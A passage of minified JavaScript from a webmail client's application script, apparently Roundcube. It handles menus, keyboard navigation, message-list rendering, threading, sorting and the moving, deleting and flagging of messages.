e&&this.button_out(this.buttons_sel[e],e);this.buttons_sel={}}setTimeout(function(e){for(var t,s,i,n=$(r).parents(),a=ref.menu_stack.length-1;0<=a;a--)i=ref.menu_stack[a],!(t=$("#"+i)).is(":visible")||r==t.data("opener")||r==t.get(0)||n.is(t.data("opener"))||i==s||"true"==t.attr("data-editable")&&$(r).parents("#"+i).length||"true"==t.attr("data-sticky")&&rcube_mouse_is_over(e,t.get(0))||ref.hide_menu(i,e),s=t.data("parent")},10,s)}},this.doc_keypress=function(e){function t(e){var t,s,i=e<0?"prevAll":"nextAll",e=e<0?"last":"first";return ref.focused_menu&&(t=$("#"+ref.focused_menu))?(s=(s=t.find(":focus").closest("li")[i]().has(":not([aria-disabled=true])").find("a,input")[e]()).length?s:t.find(":focus").closest("ul")[i]().has(":not([aria-disabled=true])").find("a,input")[e]()).focus().length:0}var s=e.target||{},i=rcube_event.get_keycode(e);if(27==e.keyCode||this.menu_keyboard_active&&"TEXTAREA"!=s.nodeName&&"SELECT"!=s.nodeName)switch(i){case 38:case 40:case 63232:case 63233:return t(38==i||63232==i?-1:1),rcube_event.cancel(e);case 9:return this.focused_menu&&!t(rcube_event.get_modifier(e)==SHIFT_KEY?-1:1)&&this.hide_menu(this.focused_menu,e),rcube_event.cancel(e);case 27:this.menu_stack.length&&this.hide_menu(this.menu_stack[this.menu_stack.length-1],e)}return!0},this.list_keypress=function(e,t){e.modkey!=CONTROL_KEY&&(e.key_pressed==e.DELETE_KEY||e.key_pressed==e.BACKSPACE_KEY?this.command(t&&t.del?t.del:"delete"):33==e.key_pressed?this.command(t&&t.prev?t.prev:"previouspage"):34==e.key_pressed&&this.command(t&&t.next?t.next:"nextpage"))},this.msglist_keypress=function(e){e.key_pressed!=e.ENTER_KEY||this.env.contentframe?this.list_keypress(e):this.command("show")},this.msglist_select=function(e){this.preview_timer&&clearTimeout(this.preview_timer);var s=!1,t=e.get_single_selection(),i=e.get_selection(!1),n=i.length;this.enable_command(this.env.message_commands,null!=t),0<n&&(this.env.multifolder_listing?$.each(i,function(e,t){if(ref.get_message_mailbox(t)==ref.env.drafts_mailbox)return!(s=!0)}):s=this.env.mailbox==this.env.drafts_mailbox),t&&(s?this.enable_command("reply","reply-all","reply-list","forward","forward-inline","forward-attachment","bounce",!1):this.env.messages[t].ml||this.enable_command("reply-list",!1)),this.enable_command("delete","move","copy","mark",0<n),this.enable_command("forward","forward-attachment",!s&&0<n),(t||n&&n!=e.rowcount)&&(this.select_all_mode=!1),t&&this.env.contentframe&&!e.multi_selecting&&!this.dummy_select?(n=(i=(new Date).getTime())-(this._last_msglist_select_time||0),t=this.preview_delay_click,n<this.preview_delay_select&&(t=this.preview_delay_select,this.preview_timer&&clearTimeout(this.preview_timer),this.env.contentframe)&&this.show_contentframe(!1),this._last_msglist_select_time=i,this.preview_timer=setTimeout(function(){ref.msglist_get_preview()},t)):this.env.contentframe&&this.show_contentframe(!1)},this.msglist_dbl_click=function(e){this.preview_timer&&clearTimeout(this.preview_timer);var t,e=e.get_single_selection();e&&((t=this.get_message_mailbox(e))==this.env.drafts_mailbox?this.open_compose_step({_draft_uid:e,_mbox:t}):this.show_message(e))},this.msglist_get_preview=function(){var e=this.get_single_uid();e&&this.env.contentframe&&!this.drag_active?this.show_message(e,!1,!0):this.env.contentframe&&this.show_contentframe(!1)},this.msglist_expand=function(e){this.env.messages[e.uid]&&(this.env.messages[e.uid].expanded=e.expanded),$(e.obj)[e.expanded?"addClass":"removeClass"]("expanded")},this.msglist_set_coltypes=function(e){var t,s,i=e.thead.rows[0].cells;for(this.env.listcols=[],t=0;t<i.length;t++)i[t].id&&i[t].id.startsWith("rcm")&&(s=i[t].id.slice(3),this.env.listcols.push(s));this.msglist_setup(this.env.layout),0<=(e=$.inArray("flag",this.env.listcols))&&(this.env.flagged_col=e),0<=(e=$.inArray("subject",this.env.listcols))&&(this.env.subject_col=e),this.command("save-pref",{name:"list_cols",value:this.env.listcols,session:"list_attrib/columns"})},this.msglist_setup=function(e){(t=this.triggerEvent("msglist_layout",e))&&(e=t),t=this.env["widescreen"==e?"listcols_widescreen":"listcols"],"widescreen"!=e||this.env.threading||(t=$.grep(t,function(e){return"threads"!=e})),this.env.msglist_layout=e,this.env.msglist_cols=t;var e=this.gui_objects.messagelist,t=e.className.split(" ").filter(function(e){return!e.startsWith("sort-")});t.push("sort-"+(this.env.sort_col||"none")),e.className=t.join(" ")},this.check_droptarget=function(e){switch(this.task){case"mail":return!this.env.mailboxes[e]||this.env.mailboxes[e].virtual||this.env.mailboxes[e].id==this.env.mailbox&&!this.is_multifolder_listing()?0:1;case"addressbook":var t;if(e!=this.env.source&&(t=this.env.contactfolders[e]))if("group"==t.type){if(t.id!=this.env.group&&!this.env.contactfolders[t.source].readonly)return!(1<this.env.selection_sources.length||-1==$.inArray(t.source,this.env.selection_sources))||this.commands.move?1:2}else if(!t.readonly&&(1<this.env.selection_sources.length||-1==$.inArray(e,this.env.selection_sources)))return this.commands.move?1:2}return 0},this.open_window=function(e,t,s){var i,n,a,r,o="rcmextwin"+(new Date).getTime();if(e+=(e.match(/\?/)?"&":"?")+"_extwin=1",(r=this.env.standard_windows?window.open(e,o):(a=this.is_framed()?parent.window:window,n=(i=$(a)).width(),i=(bw.mz?$("body",a):i).height(),t=Math.min(t?this.env.popup_width_small:this.env.popup_width,n),n=(a.screenLeft||a.screenX)+20,a=(a.screenTop||a.screenY)+20,window.open(e,o,"width="+t+",height="+i+",top="+a+",left="+n+",resizable=yes,location=no,scrollbars=yes"+(s?",toolbar=yes,menubar=yes,status=yes":",toolbar=no,menubar=no,status=no"))))&&!r.closed)return!e&&r.document&&r.document.write("<html><body>"+this.get_label("loading")+"</body></html>"),this.triggerEvent("openwindow",{url:e,handle:r}),setTimeout(function(){r&&r.focus()},10),r;this.display_message("windowopenerror","warning")},this.init_message_row=function(s){var e={},t=s.uid,i=(null!=this.env.status_col?"status":"msg")+"icn"+s.id;t&&this.env.messages[t]&&$.extend(s,this.env.messages[t]),(s.icon=document.getElementById(i))&&(e.icon=function(e){ref.command("toggle_status",t)}),null!=this.env.status_col?s.msgicon=document.getElementById("msgicn"+s.id):s.msgicon=s.icon,null!=this.env.flagged_col&&(s.flagicon=document.getElementById("flagicn"+s.id))&&(e.flagicon=function(e){ref.command("toggle_flag",t)}),!s.depth&&s.has_children&&(s.expando=document.getElementById("rcmexpando"+s.id))&&(e.expando=function(e){ref.expand_message_row(e,t)}),$.each(e,function(e,t){s[e].onclick=function(e){return t(e),rcube_event.cancel(e)},bw.touch&&s[e].addEventListener&&s[e].addEventListener("touchend",function(e){if(1==e.changedTouches.length)return t(e),rcube_event.cancel(e)},!1)}),this.triggerEvent("insertrow",{uid:t,row:s})},this.add_message_row=function(e,t,s,i){if(!this.gui_objects.messagelist||!this.message_list)return!1;if(s.mbox!=this.env.mailbox&&!s.skip_mbox_check)return!1;if(this.message_list.rows[e])return!1;this.env.messages[e]||(this.env.messages[e]={}),$.extend(this.env.messages[e],{deleted:s.deleted?1:0,replied:s.answered?1:0,unread:s.seen?0:1,forwarded:s.forwarded?1:0,flagged:s.flagged?1:0,has_children:s.has_children?1:0,depth:s.depth||0,unread_children:s.unread_children||0,flagged_children:s.flagged_children||0,parent_uid:s.parent_uid||0,selected:this.select_all_mode||this.message_list.in_selection(e),ml:s.ml?1:0,ctype:s.ctype,mbox:s.mbox,flags:s.extra_flags});var n,a,r,o,l,c="",h="",d="",_="",u=this.message_list,m=u.rows,p=this.env.messages[e],f=this.html_identifier(e,!0),g="message"+(s.seen?"":" unread")+(s.deleted?" deleted":"")+(s.flagged?" flagged":"")+(p.selected?" selected":""),v={cols:[],style:{},id:"rcmrow"+f,uid:e},b=this.env.msglist_layout,y=this.env.msglist_cols;for(n in"widescreen"==b?this.env.status_col=null:0<=(n=$.inArray("status",y))&&(this.env.status_col=n),o="msgicon",null===this.env.status_col&&(o+=" status",s.deleted?(c+=" deleted",h+=this.get_label("deleted")+" "):s.seen?0<s.unread_children&&(c+=" unreadchildren"):(c+=" unread",h+=this.get_label("unread")+" ")),s.answered&&(c+=" replied",h+=this.get_label("replied")+" "),s.forwarded&&(c+=" forwarded",h+=this.get_label("forwarded")+" "),p.selected&&!u.in_selection(e)&&u.selection.push(e),this.env.threading&&(p.depth?(d+='<span id="rcmtab'+f+'" class="branch" style="width:'+15*p.depth+'px;">&nbsp;&nbsp;</span>',m[p.parent_uid]&&!1===m[p.parent_uid].expanded||!(0!=this.env.autoexpand_threads&&2!=this.env.autoexpand_threads||m[p.parent_uid]&&m[p.parent_uid].expanded)?(v.style.display="none",p.expanded=!1):p.expanded=!0,g+=" thread expanded"):p.has_children&&(void 0===p.expanded&&(1==this.env.autoexpand_threads||2==this.env.autoexpand_threads&&p.unread_children)&&(p.expanded=!0),_='<div id="rcmexpando'+v.id+'" class="'+(p.expanded?"expanded":"collapsed")+'">&nbsp;&nbsp;</div>',g+=" thread"+(p.expanded?" expanded":"")),s.unread_children&&s.seen&&!p.expanded&&(g+=" unroot"),s.flagged_children)&&!p.expanded&&(g+=" flaggedroot"),d+='<span id="msgicn'+v.id+'" class="'+o+c+'" title="'+h+'"></span>',v.className=g,t.subject&&(f=s.mbox==this.env.drafts_mailbox?"compose":"show",m=s.mbox==this.env.drafts_mailbox?"_draft_uid":"_uid",(h={_mbox:s.mbox})[m]=e,t.subject='<a href="'+this.url(f,h)+'" onclick="return rcube_event.keyboard_only(event)" onmouseover="rcube_webmail.long_subject_title(this,'+(p.depth+1)+')" tabindex="-1"><span>'+t.subject+"</span></a>"),y)r=y[n],a={className:String(r).toLowerCase(),events:{}},this.env.coltypes[r]&&this.env.coltypes[r].hidden&&(a.className+=" hidden"),r="flag"==r?(o=s.flagged?"flagged":"unflagged",l=this.get_label(o),'<span id="flagicn'+v.id+'" class="'+o+'" title="'+l+'"></span>'):"attachment"==r?(l=this.get_label("withattachment"),s.attachmentClass?'<span class="'+s.attachmentClass+'" title="'+l+'"></span>':"multipart/report"==s.ctype?'<span class="report"></span>':"multipart/encrypted"==s.ctype||"application/pkcs7-mime"==s.ctype?'<span class="encrypted"></span>':s.hasattachment||!s.hasnoattachment&&/application\/|multipart\/(m|signed)/.test(s.ctype)?'<span class="attachment" title="'+l+'"></span>':"&nbsp;"):"status"==r?(l="",s.deleted?l=this.get_label(o="deleted"):s.seen?o=0<s.unread_children?"unreadchildren":"msgicon":l=this.get_label(o="unread"),'<span id="statusicn'+v.id+'" class="'+o+c+'" title="'+l+'"></span>'):"threads"==r?_:"subject"==r?d+t[r]:"priority"==r?0<s.prio&&s.prio<6?(l=this.get_label("priority")+" "+s.prio,'<span class="prio'+s.prio+'" title="'+l+'"></span>'):"&nbsp;":"folder"==r?'<span onmouseover="rcube_webmail.long_subject_title(this)">'+t[r]+"<span>":t[r],a.innerHTML=r,v.cols.push(a);"widescreen"==b&&(v=this.widescreen_message_row(v,e,p)),u.insert_row(v,i),i&&this.env.pagesize&&u.rowcount>this.env.pagesize&&(e=u.get_last_row(),u.remove_row(e),u.clear_selection(e))},this.widescreen_message_row=function(a,e,t){var r=document.createElement("tr");return r.id=a.id,r.uid=a.uid,r.className=a.className,a.style&&$.extend(r.style,a.style),$.each(this.env.widescreen_list_template,function(){if(ref.env.threading||"threads"!=this.className){var e,t,s,i,n=document.createElement("td");for(this.className&&(n.className=this.className),e=0;this.cells&&e<this.cells.length;e++)for(t=0;a.cols&&t<a.cols.length;t++)if(this.cells[e]==a.cols[t].className){s=a.cols[t],(i=document.createElement("span")).className=this.cells[e],"subject"==this.className&&"subject"!=i.className&&(i.className+=" skip-on-drag"),s.innerHTML&&(i.innerHTML=s.innerHTML),n.appendChild(i);break}r.appendChild(n)}}),this.env.threading&&t.depth&&(n=this.calculate_thread_padding(t.depth),$("td.subject",r).attr("style","padding-left:"+n+" !important"),$("span.branch",r).remove()),r},this.calculate_thread_padding=function(e){return ref.env.thread_padding.match(/^([0-9.]+)(.+)/),Math.min(6,e)*parseFloat(RegExp.$1)+RegExp.$2},this.set_list_sorting=function(e,t){var s="arrival"==this.env.sort_col?"date":this.env.sort_col,i="arrival"==e?"date":e;$("#rcm"+s).removeClass("sorted"+this.env.sort_order.toUpperCase()),i&&$("#rcm"+i).addClass("sorted"+t),$("#rcmdate > a").prop("rel","arrival"==e?"arrival":"date"),this.env.sort_col=e,this.env.sort_order=t},this.set_list_options=function(e,t,s,i,n){var a,r={};if(void 0===t&&(t=this.env.sort_col),s=s||this.env.sort_order,this.env.sort_col==t&&this.env.sort_order==s||(a=1,this.set_list_sorting(t,s)),this.env.threading!=i&&(a=1,r._threads=i),n&&this.env.layout!=n&&(this.triggerEvent("layout-change",{old_layout:this.env.layout,new_layout:n}),a=1,this.env.layout=r._layout=n,this.msglist_setup(this.env.layout)),e&&e.length){for(var o,l,c=[],h=this.env.listcols,d=0;d<h.length;d++)l=h[d],-1!=(o=$.inArray(l,e))&&(c.push(l),delete e[o]);for(d=0;d<e.length;d++)e[d]&&c.push(e[d]);c.join()!=h.join()&&(a=1,r._cols=c.join(","))}a&&this.list_mailbox("","",t+"_"+s,r)},this.show_message=function(e,t,s){var i,n,a;e&&(n=window,a=this.params_from_uid(e,{_caps:this.browser_capabilities()}),s&&(i=this.get_frame_window(this.env.contentframe))&&(n=i,a._framed=1),t&&(a._safe=1),this.env.search_request&&(a._search=this.env.search_request),this.env.extwin&&(a._extwin=1),a=this.url(s?"preview":"show",a),s&&(this.preview_id=e),s&&0<=String(n.location.href).indexOf(a)?this.show_contentframe(!0):s||!this.env.message_extwin||this.env.extwin?(t&&document.referrer&&window.history.replaceState&&window.history.replaceState({},"",document.referrer),this.location_href(a,n,!0)):this.open_window(a,!0))},this.set_unread_message=function(e,t){var s=this;(s=!(s=s.message_list?s:s.opener())&&window.parent?parent.rcmail:s)&&s.message_list&&(!1===s.set_message(e,"unread",!1)&&s.set_message(e+"-"+t,"unread",!1),0<s.env.unread_counts[t])&&(--s.env.unread_counts[t],s.set_unread_count(t,s.env.unread_counts[t],"INBOX"==t&&!s.is_multifolder_listing()))},this.show_contentframe=function(e){var t,s=this.env.contentframe;(t=this.get_frame_element(s))&&(!e&&(s=this.get_frame_window(s))?s.location.href.indexOf(this.env.blankpage)<0&&(s.stop?s.stop():s.document.execCommand("Stop"),s.location.href=this.env.blankpage):bw.safari||bw.konq||$(t)[e?"show":"hide"]()),e||(this.unlock_frame(),delete this.preview_id)},this.get_frame_element=function(e){if(e&&(e=document.getElementById(e)))return e},this.get_frame_window=function(e){e=this.get_frame_element(e);if(e&&e.name&&window.frames)return window.frames[e.name]},this.lock_frame=function(e){var t=this.is_framed()?parent.rcmail:this;t.env.frame_lock||(t.env.frame_lock=t.set_busy(!0,"loading"));try{e.frameElement&&$(e.frameElement).on("load.lock",function(e){t.unlock_frame(),$(this).off("load.lock")})}catch(e){}},this.unlock_frame=function(){this.env.frame_lock&&(this.set_busy(!1,null,this.env.frame_lock),this.env.frame_lock=null)},this.list_page=function(e){"next"==e?e=this.env.current_page+1:"last"==e?e=this.env.pagecount:"prev"==e&&1<this.env.current_page?e=this.env.current_page-1:"first"==e&&1<this.env.current_page&&(e=1),0<e&&e<=this.env.pagecount&&(this.env.current_page=e,"addressbook"==this.task||this.contact_list?this.list_contacts(this.env.source,this.env.group,e):"mail"==this.task&&this.list_mailbox(this.env.mailbox,e))},this.checkmail=function(){var e=this.set_busy(!0,"checkingmail"),t=this.check_recent_params();this.http_post("check-recent",t,e)},this.filter_mailbox=function(e){var t,s;this.filter_disabled||(t=this.search_params(!1,e),s=this.set_busy(!0,"searching"),this.clear_message_list(),this.env.current_page=1,this.env.search_filter=e,this.http_request("search",t,s),this.update_state({_mbox:t._mbox,_filter:e,_scope:t._scope}))},this.refresh_list=function(){this.list_mailbox(this.env.mailbox,this.env.current_page||1,null,{_clear:1},!0),this.message_list&&this.message_list.clear_selection()},this.list_mailbox=function(e,t,s,i,n){var a=window;"object"!=typeof i&&(i={}),e=e||this.env.mailbox||"INBOX",s&&(i._sort=s),this.env.mailbox!=e?(this.env.current_page=t=1,this.env.search_scope="base",this.select_all_mode=!1,this.reset_search_filter()):this.env.search_request&&(i._search=this.env.search_request),n||(this.clear_message_list(),e==this.env.mailbox&&(e!=this.env.mailbox||t||s)||(i._refresh=1),this.select_folder(e,"",!0),this.unmark_folder(e,"recent","",!0),this.env.mailbox=e),this.gui_objects.messagelist?this.list_mailbox_remote(e,t,i):((n=this.get_frame_window(this.env.contentframe))&&(a=n,i._framed=1),this.env.uid&&(i._uid=this.env.uid),t&&(i._page=t),e&&(i._mbox=e,this.set_busy(!0,"loading"),this.location_href(i,a)))},this.clear_message_list=function(){this.env.messages={},this.show_contentframe(!1),this.message_list&&this.message_list.clear(!0)},this.list_mailbox_remote=function(e,t,s){var i=this.set_busy(!0,"loading");(s="object"!=typeof s?{}:s)._layout=this.env.layout,s._mbox=e,s._page=t,this.http_request("list",s,i),this.update_state({_mbox:e,_page:t&&1<t?t:null})},this.update_selection=function(){var e,t=this.message_list,s=t.selection,i=t.rows,n=[];for(e in s)i[s[e]]&&n.push(s[e]);t.selection=n;try{var a=this.get_frame_window(this.env.contentframe).rcmail.env.uid;a&&!t.in_selection(a)&&this.show_contentframe(!1)}catch(e){}},this.expand_unread=function(){for(var e,t=this.message_list.tbody.firstChild;t;)1==t.nodeType&&(e=this.message_list.rows[t.uid])&&e.unread_children&&(this.message_list.expand_all(e),this.set_unread_children(e.uid)),t=t.nextSibling;return!1},this.expand_message_row=function(e,t){var s=this.message_list.rows[t];s.expanded=!s.expanded,this.set_unread_children(t),this.set_flagged_children(t),s.expanded=!s.expanded,this.message_list.expand_row(e,t)},this.expand_threads=function(){if(this.env.threading&&this.env.autoexpand_threads&&this.message_list)switch(this.env.autoexpand_threads){case 2:this.expand_unread();break;case 1:this.message_list.expand_all()}},this.init_threads=function(e,t){if(t&&t!=this.env.mailbox)return!1;for(var s=0,i=e.length;s<i;s++)this.add_tree_icons(e[s]);this.expand_threads()},this.add_tree_icons=function(e){for(var t,s,i,n,a=[],r=[],o=this.message_list.rows,l=e?o[e]?o[e].obj:null:this.message_list.tbody.firstChild;l;){if(1==l.nodeType&&(s=o[l.uid]))if(s.depth){for(t=a.length-1;0<=t&&((i=a[t].length)>s.depth?(n=i-s.depth,2&a[t][n]||(a[t][n]=a[t][n]?a[t][n]+2:2)):i!=s.depth||2&a[t][0]||(a[t][0]+=2),!(s.depth>i));t--);a.push(new Array(s.depth)),a[a.length-1][0]=1,r.push(s.uid)}else{if(a.length){for(t in a)this.set_tree_icons(r[t],a[t]);a=[],r=[]}if(e&&l!=o[e].obj)break}l=l.nextSibling}if(a.length)for(t in a)this.set_tree_icons(r[t],a[t])},this.set_tree_icons=function(e,t){for(var s=[],i="",n=t.length,a=0;a<n;a++)2<t[a]?s.push({class:"l3",width:15}):1<t[a]?s.push({class:"l2",width:15}):0<t[a]?s.push({class:"l1",width:15}):s.length&&!s[s.length-1].class?s[s.length-1].width+=15:s.push({class:null,width:15});for(a=s.length-1;0<=a;a--)s[a].class?i+='<div class="tree '+s[a].class+'" />':i+='<div style="width:'+s[a].width+'px" />';i&&$("#rcmtab"+this.html_identifier(e,!0)).html(i)},this.update_thread_root=function(e,t){if(this.env.threading){var s=this.message_list.find_root(e);if(e!=s){e=this.message_list.rows[s];if("read"==t&&e.unread_children)e.unread_children--;else if("unread"==t&&e.has_children)e.unread_children=(e.unread_children||0)+1;else if("unflagged"==t&&e.flagged_children)e.flagged_children--;else{if("flagged"!=t||!e.has_children)return;e.flagged_children=(e.flagged_children||0)+1}this.set_message_icon(s),this.set_unread_children(s),this.set_flagged_children(s)}}},this.update_thread=function(e){if(!this.env.threading||!this.message_list.rows[e])return 0;var t,s,i=0,n=this.message_list,a=n.rows,r=a[e],o=a[e].depth,l=[];for(r.depth||i--,r.depth&&r.unread&&(a[s=n.find_root(e)].unread_children--,this.set_unread_children(s)),r.depth&&r.flagged&&(a[s=n.find_root(e)].flagged_children--,this.set_flagged_children(s)),s=r.parent_uid,r=r.obj.nextSibling;r;){if(1==r.nodeType&&(t=a[r.uid])){if(!t.depth||t.depth<=o)break;t.depth--,$("#rcmtab"+t.id).width(15*t.depth).html(""),t.depth?(t.depth==o&&(t.parent_uid=s),t.unread&&l.length&&l[l.length-1].unread_children++):(i++,t.parent_uid=0,t.has_children&&($("#"+t.id+" .leaf").first().attr("id","rcmexpando"+t.id).attr("class","none"!=t.obj.style.display?"expanded":"collapsed").mousedown({uid:t.uid},function(e){return ref.expand_message_row(e,e.data.uid)}),t.unread_children=0,l.push(t)),"none"==t.obj.style.display&&$(t.obj).show())}r=r.nextSibling}for(t=0;t<l.length;t++)this.set_unread_children(l[t].uid),this.set_flagged_children(l[t].uid);return i},this.delete_excessive_thread_rows=function(){for(var e=this.message_list.rows,t=this.message_list.tbody.firstChild,s=this.env.pagesize+1;t;)1==t.nodeType&&(r=e[t.uid])&&(!r.depth&&s&&s--,s||this.message_list.remove_row(t.uid)),t=t.nextSibling},this.set_message_icon=function(e){var t,s="",e=this.message_list.rows[e];if(!e)return!1;e.icon&&(t="msgicon",e.deleted?(t+=" deleted",s+=this.get_label("deleted")+" "):e.unread?(t+=" unread",s+=this.get_label("unread")+" "):e.unread_children&&(t+=" unreadchildren"),e.msgicon==e.icon&&(e.replied&&(t+=" replied",s+=this.get_label("replied")+" "),e.forwarded&&(t+=" forwarded",s+=this.get_label("forwarded")+" "),t+=" status"),$(e.icon).attr({class:t,title:s})),e.msgicon&&e.msgicon!=e.icon&&(s="",t="msgicon",!e.unread&&e.unread_children&&(t+=" unreadchildren"),e.replied&&(t+=" replied",s+=this.get_label("replied")+" "),e.forwarded&&(t+=" forwarded",s+=this.get_label("forwarded")+" "),$(e.msgicon).attr({class:t,title:s})),e.flagicon&&(t=e.flagged?"flagged":"unflagged",s=this.get_label(t),$(e.flagicon).attr("class",t).attr({"aria-label":s,title:s}))},this.set_message_status=function(e,t,s){var i=this.message_list.rows[e];if(!i)return!1;"unread"==t?i.unread!=s&&this.update_thread_root(e,s?"unread":"read"):"flagged"==t&&this.update_thread_root(e,s?"flagged":"unflagged"),-1<$.inArray(t,["unread","deleted","replied","forwarded","flagged"])&&(i[t]=s)},this.set_message=function(e,t,s){var i=this.message_list&&this.message_list.rows[e];if(!i)return!1;t&&this.set_message_status(e,t,s),-1<$.inArray(t,["unread","deleted","flagged"])&&$(i.obj)[i[t]?"addClass":"removeClass"](t),this.set_unread_children(e),this.set_message_icon(e)},this.set_unread_children=function(e){var t,e=this.message_list.rows[e];e.parent_uid||(t=!e.unread&&e.unread_children&&!e.expanded,$(e.obj)[t?"addClass":"removeClass"]("unroot"))},this.set_flagged_children=function(e){var t,e=this.message_list.rows[e];e.parent_uid||(t=e.flagged_children&&!e.expanded,$(e.obj)[t?"addClass":"removeClass"]("flaggedroot"))},this.copy_messages=function(e,s,i){if(e&&"object"==typeof e)e.uids&&(i=e.uids),e=e.id;else if(!e)return i=this.env.uid?[this.env.uid]:this.message_list.get_selection(),this.folder_selector(s,function(e,t){ref.command("copy",{id:e,uids:i},t,s,!0)});e&&e!=this.env.mailbox&&(e=this.selection_post_data({_target_mbox:e,_uid:i}))._uid&&this.http_post("copy",e,this.display_message("copyingmessage","loading"))},this.move_messages=function(e,s,i){if(e&&"object"==typeof e)e.uids&&(i=e.uids),e=e.id;else if(!e)return i=this.env.uid?[this.env.uid]:this.message_list.get_selection(),this.folder_selector(s,function(e,t){ref.command("move",{id:e,uids:i},t,s,!0)});var t;e&&(e!=this.env.mailbox||this.is_multifolder_listing())&&(t=!1,(e=this.selection_post_data({_target_mbox:e,_uid:i}))._uid)&&("show"==this.env.action&&(t=this.set_busy(!0,"movingmessage")),this.enable_command(this.env.message_commands,!1),this.with_selected_messages("move",e,t),"show"!=this.env.action)&&this.show_contentframe(!1)},this.delete_messages=function(e){var t=this.message_list,s=this.env.trash_mailbox;return this.env.flag_for_deletion?(this.mark_message("delete"),!1):(!s||this.env.mailbox==s||this.env.delete_junk&&this.env.junk_mailbox&&this.env.mailbox==this.env.junk_mailbox?this.permanently_remove_messages():t&&t.modkey==SHIFT_KEY||e&&rcube_event.get_modifier(e)==SHIFT_KEY?this.confirm_dialog(this.get_label("deletemessagesconfirm"),"delete",function(){ref.permanently_remove_messages()}):this.move_messages(s),!0)},this.permanently_remove_messages=function(){var e=this.selection_post_data();e._uid&&(this.with_selected_messages("delete",e),this.show_contentframe(!1))},this.with_selected_messages=function(e,t,s,i){var n=0,a="delete"==e||!this.is_multifolder_listing();if(this.message_list){var r,o,l,c,h=[],d=t._uid,_=this.check_display_next();for("*"===d?d=this.message_list.get_selection():"string"==typeof d&&(d=d.split(",")),r=0,o=d.length;r<o;r++)l=d[r],this.env.threading&&(n+=this.update_thread(l),(c=this.message_list.find_root(l))!=l)&&$.inArray(c,h)<0&&h.push(c),a&&this.message_list.remove_row(l,_&&r==d.length-1);for(!_&&a&&this.message_list.clear_selection(),r=0,o=h.length;r<o;r++)this.add_tree_icons(h[r])}n<0?t._count=-1*n:0<n&&a&&this.delete_excessive_thread_rows(),a||(t._refresh=1),s=s||this.display_message("move"==e?"movingmessage":"deletingmessage","loading"),this.http_post(i||e,t,s)},this.selection_post_data=function(e){return(e="object"!=typeof e?{}:e)._uid||(e._uid=this.env.uid?[this.env.uid]:this.message_list.get_selection()),e._mbox=this.env.mailbox,e._uid=this.uids_to_list(e._uid),this.env.action&&(e._from=this.env.action),this.env.search_request&&(e._search=this.env.search_request),this.env.display_next&&this.env.next_uid&&(e._next_uid=this.env.next_uid),e},this.check_display_next=function(){return this.env.display_next&&(this.preview_id||!this.env.contentframe)},this.mark_message=function(e,t){var s,i,n,a=[],r=[],o=this.message_list;if(t?a.push(t):this.env.uid?a.push(this.env.uid):o&&(a=o.get_selection()),o)for(o.focus(),i=0,s=a.length;i<s;i++)n=a[i],("read"==e&&o.rows[n].unread||"unread"==e&&!o.rows[n].unread||"delete"==e&&!o.rows[n].deleted||"undelete"==e&&o.rows[n].deleted||"flagged"==e&&!o.rows[n].flagged||"unflagged"==e&&o.rows[n].flagged)&&r.push(n);else r=a;if(r.length||this.select_all_mode)switch(e){case"read":case"unread":this.toggle_read_status(e,r);break;case"delete":case"undelete":this.toggle_delete_status(r);break;case"flagged":case"unflagged":this.toggle_flagged_status(e,a)}},this.toggle_read_status=function(e,t){for(var s=t.length,i=this.selection_post_data({_uid:t,_flag:e}),n=this.display_message("markingmessage","loading"),a=0;a<s;a++)this.set_message(t[a],"unread","unread"==e);this.http_post("mark",i,n)},this.toggle_flagged_status=function(e,t){for(var s=t.length,i=this.env.contentframe?this.get_frame_window(this.env.contentframe):window,n=this.selection_post_data({_uid:t,_flag:e}),a=this.display_message("markingmessage","loading"),r=0;r<s;r++)this.set_message(t[r],"flagged","flagged"==e);("show"==this.env.action||0<=$.inArray(this.preview_id,t))&&$(i.document.body)["flagged"==e?"addClass":"removeClass"]("status-flagged"),this.http_post("mark",n,a)},this.toggle_delete_status=function(e){var t,s,i=!0,n=e.length,a=this.message_list?this.message_list.rows:{};if(1==n)!this.message_list||a[e[0]]&&!a[e[0]].deleted?this.flag_as_deleted(e):this.flag_as_undeleted(e);else{for(t=0;t<n;t++)if(a[s=e[t]]&&!a[s].deleted){i=!1;break}i?this.flag_as_undeleted(e):this.flag_as_deleted(e)}return!0},this.flag_as_undeleted=function(e){for(var t=e.length,s=this.selection_post_data({_uid:e,_flag:"undelete"}),i=this.display_message("markingmessage","loading"),n=0;n<t;n++)this.set_message(e[n],"deleted",!1);this.http_post("mark",s,i)},this.flag_as_deleted=function(e){for(var t=[],s=this.selection_post_data({_uid:e,_flag:"delete"}),i=this.display_message("markingmessage","loading"),n=this.message_list,a=n?n.rows:{},r=0,o=this.check_display_next(),l=0,c=e.length;l<c;l++)a[uid=e[l]]&&(a[uid].unread&&(t[t.length]=uid),this.env.skip_deleted?(r+=this.update_thread(uid),n.remove_row(uid,o&&l==n.get_selection(!1).length-1)):this.set_message(uid,"deleted",!0));this.env.skip_deleted&&n&&(o&&n.rowcount||n.clear_selection(),r<0?s._count=-1*r:0<r&&this.delete_excessive_thread_rows()),t.length&&(s._ruid=this.uids_to_list(t)),this.env.skip_deleted&&this.env.display_next&&this.env.next_uid&&(s._next_uid=this.env.next_uid),this.http_post("mark",s,i)},this.flag_deleted_as_read=function(e){for(var t,s=this.message_list?this.message_list.rows:{},i=0,n=(e="string"==typeof e?e.split(","):e).length;i<n;i++)s[t=e[i]]&&this.set_message(t,"unread",!1)},this.uids_to_list=function(e){return this.select_all_mode?"*":!$.isArray(e)||1!=e.length&&-1!=String(e[0]).indexOf("-")?e:e.join(",")},this.set_button_titles=function(){var e="deletemessage";this.env.flag_for_deletion||!this.env.trash_mailbox||this.env.mailbox==this.env.trash_mailbox||this.env.delete_junk&&this.env.junk_mailbox&&this.env.mailbox==this.env.junk_mailbox||(e="movemessagetotrash"),this.set_alttext("delete",e)},this.init_pagejumper=function(a){$(a).addClass("rcpagejumper").on("focus",function(e){for(var t="",s=1;s<=ref.env.pagecount;s++)t+="<li>"+s+"</li>";t='<ul class="toolbarmenu menu">'+t+"</ul>",ref.pagejump||(ref.pagejump=$('<div id="pagejump-selector" class="popupmenu"></div>').appendTo(document.body).on("click","li",function(){ref.busy||$(a).val($(this).text()).change()})),ref.pagejump.data("count")!=s&&ref.pagejump.html(t),ref.pagejump.attr("rel","#"+this.id).data("count",s),ref.show_menu("pagejump-selector",!0,e)}).on("keydown keyup click",function(e){var 